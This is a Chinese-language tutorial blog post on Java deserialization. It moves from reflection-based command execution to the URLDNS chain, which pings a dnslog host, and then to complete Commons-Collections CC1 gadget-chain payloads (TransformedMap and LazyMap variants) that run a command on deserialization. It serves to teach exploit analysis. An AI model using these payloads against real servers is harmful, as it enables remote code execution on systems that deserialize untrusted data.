原创 | java反序列化从0到cc1
点击蓝字
关注我们
java反序列化的最终目的是执行命令,于是理解Java命令执行的函数非常有必要
Runtime
利用Runtime类可以进行命令执行
Runtime.getRuntime().exec("calc");
ProcessBuilder
ProcessBuilder calc = new ProcessBuilder("calc");
calc.start();
反射可以说无论在java开发还是安全中都很重要,没有反射就没有今天的各种框架,没有反射就没有了java安全,反射是一门应用广泛但是并不困难的技术
接下来的测试我都将拿Student demo作为测试对象
public class student {
private String name;
private int age;
public static void eat(){
System.out.println("正在吃东西");
}
private void drink(){
System.out.println("正在喝水");
}
public student(String name, int age) {
this.name = name;
this.age = age;
}
public student() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "student{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
1.反射获取对象的类方法
2.反射调用类中的方法
利用getmethod()获取类的方法之后,调用invoke方法选择执行的对象。如果invoke难理解可以理解为从哪个类中选择这个方法,其实虽然这个method是从student类获取到的,但是如果另外一个类也拥有和student类同样的eat方法,就算是从student中获取的method,但是invove时选择另一个类照样也是会执行成功的。并且要注意这里的eat是static属性因此可以直接调用,否则只有创建对象之后才可以调用。
无参构造
利用getConstrutor()函数获取其中的构造器,之后便可进行有参构造
4.私有类型的参数,方法,构造器变公有
Class clazz1=student.class;
getDeclaredField(); //获取全部的参数,包括私有和共有
getDeclaredMethod(); //获取全部的方法,包括私有和共有
getDeclaredConstrator(); //获取全部的构造器,包括私有和共有
Runtime
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);//可以替换为Object runtime = getRuntimeMethod.invoke(null);因为getRuntime方法是static的
execMethod.invoke(runtime, "calc.exe");
ProcessBuilder
public ProcessBuilder(List<String> command)
public ProcessBuilder(String... command)
利用public ProcessBuilder(List command)
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("calc.exe")));
利用public ProcessBuilder(String... command)
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
其次这个构造器也是可变的,所以两者叠加就会变成一个二维数组
序列化和反序列化是为了便于数据进行传输而衍生出来的技术,当我们传递一个对象需要把这个对象序列化发送到另一个类,这个类在将对象反序列化就会自动生成这个对象
Java序列化把一个对象Java Object变为一个二进制字节序列byte[]
Java反序列化就是把一个二进制字节序列byte[] 变为Java对象 Java Object
import java.io.Serializable;
public class student implements Serializable {
private String name;
private int age;
public static void eat(){
System.out.println("正在吃东西");
}
private void drink(){
System.out.println("正在喝水");
}
public student(String name, int age) {
this.name = name;
this.age = age;
}
public student() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "student{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
序列化
student student1=new student("小明",18);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.bin"));
out.writeObject(student1);
out.close();
ObjectInputStream in=new ObjectInputStream(new FileInputStream("1.bin"));
student student = (student) in.readObject();
System.out.println(student)
payload
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hash = new HashMap<URL,Integer>();
URL url = new URL("http://imq3pi.dnslog.cn");
Class c = Class.forName("java.net.URL");
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,123);
hash.put(url,1);
hashCode.set(url,-1);
Serialize(hash);
Unserialize();
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
out.close();
}
public static void Unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream In = new ObjectInputStream(new FileInputStream("1.txt"));
Object obj= In.readObject();
}
}
完整版本看起来可能有一点麻烦,我们把代码拆解开只保留他的核心
当我们运行之后dnslog会接收到到发送的请求
流程分析
这条链的流程非常简单,我们甚至不需要DEBUG就能分析出来
在最后可以看到调用了hash函数,进入hash函数
由于key是我们put进去的url,所以肯定部位null,因为url对象是URL类,所以一定调用的是URL类的hashCode函数
hashCode方法对hashCode的值进行了一个判断,通过DEBUG可以发现hashcode为-1,当然查看上方的源码也可以发现最开始就是为-1
于是执行handler.hashcode()方法,我们跟进
继续深入后其实是getByName方法对url进行了访问,从而导致DNGLOG收到信息,至此URLDNS链的大框架已经审完,但是当我们跟进hash.put方法时会发现这样的情况
我们发现只要在hashcode方法中,hashcode参数-1时就会直接返回hashcode,这样就不会继续往下执行,于是我们需要利用反射来修改hashcode的值(hashcode方法中有一个hashcode的参数,只是重名了不要弄混)。
于是URLDNS链到现在已经完美结束,下面是执行的流程
前言
commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。
环境搭建
在maven中导入依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
在idea中的project structure将该文件夹加入即可
流程分析之Transform链
cc1链有两条一条是Transform链另一条是LazyMap链
首先了解下InvokerTransformer类,这个是CC1链的核心,他一共有三个参数
第一个为调用的方法名,第二个为方法类型(可能会重写,因为要写明形参的类型),第三个为给方法传递的值
随后将transform放到ChainedTransformer对象中,ChainedTransformer的构造方法会接收一个数组,然后用transform方法,会将其中的内容按顺序合并并执行
顺序执行源码分析
我们发现传入一个Object,但是object = this.iTransformers[i].transform(object)也就是说object对象会传参调用上次的object最终合并到下一次,其实这其中也和InvokerTransformer.transform()有关,因为如图都是InvokerTransformer类
而他的transform方法就是可以把传入的参数进行合并执行之后传给下一个
因此我们不但可以把Runtime.class写到chainedTransformer.transform()中也可以直接放到Transformer[]中,最终调用的时候chainedTransformer.transform()中随便写一个object对象即可调用,因为object会被上一次内容给替换掉
最后我们要进行序列化和反序列化的操作,目的就是重写反序列化的readObject方法并且执行transform方法,最终找到AnnotationInvocationHandle类中可以重写readObject方法
根据payload来追的话发现最终调用的transform,但是我们要执行需要Runtime.class,setValue的值我们是没办法传参控制的因为在Transformer[]定义的时候我们需要加上Runtime.class
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
我们发现该类的构造方法需要两个参数,一个是class的类对象,另一个为map对象
构造payload
当我们将map的key和traget中的value名相同时候,memberTypes.get(name)其中的name就是map的key值,如果key值为vaulue就说明能获取到东西,不为空了我们的方法就可以正常执行
其实不光target注解有,像Retention其实里面也有内容,只要把Key值改成相同的都是可以通过判断
最终payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
map.put("value", "key");
Map map1 = TransformedMap.decorate(map, null, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
Object o = ct.newInstance(Target.class, map1);
//payload序列化写入文件,当作网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(o);
//服务端反序列化payload读取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}
}
流程分析之LazyMap链
LazyMap链是ysoserial中用到的链,其中用到了动态代理的知识
在transformedMap中查找谁能调用transform方法时,其实除了checkSetValue可以外,LazyMap中的get()方法也可以调用
当map中没有key值的时候,会触发tranform方法进行回调,如果factory是transformerChain那么就可以执行命令,接下来要做的就是如何执行到这个get方法
我们发现AnnotationInvocationHandler类中的invoke方法中可以执行get方法
我们发现AnnotationInvocationHandler中实现了InvocationHandler于是可以使用动态代理的方法调用invoke方法
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Proxy.newProxyInstance三个参数:
loader: 用哪个类加载器去加载代理对象
interfaces:动态代理类需要实现的接口
动态代理方法在执行时,会调用h里面的invoke方法去执行
Object o = ct.newInstance(Override.class, proxyMap);
这时第一个参数已经无所谓了,因为我们走的是LazyMap这条链了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test3 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = ct.newInstance(Override.class, proxyMap); //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);
//payload序列化写入文件,当作网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(o); //如果用的后面那种,则把o换成handler
//服务端反序列化payload读取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}
}
这篇文章从反射的命令执行到cc1,其中cc1对新手理解起来可能不友好,需要自己多理解理解才能参悟里面的本质,需要多看多审源码。
往期推荐
原创 | 从Deserialization和覆盖trustURLCodebase进行JNDI注入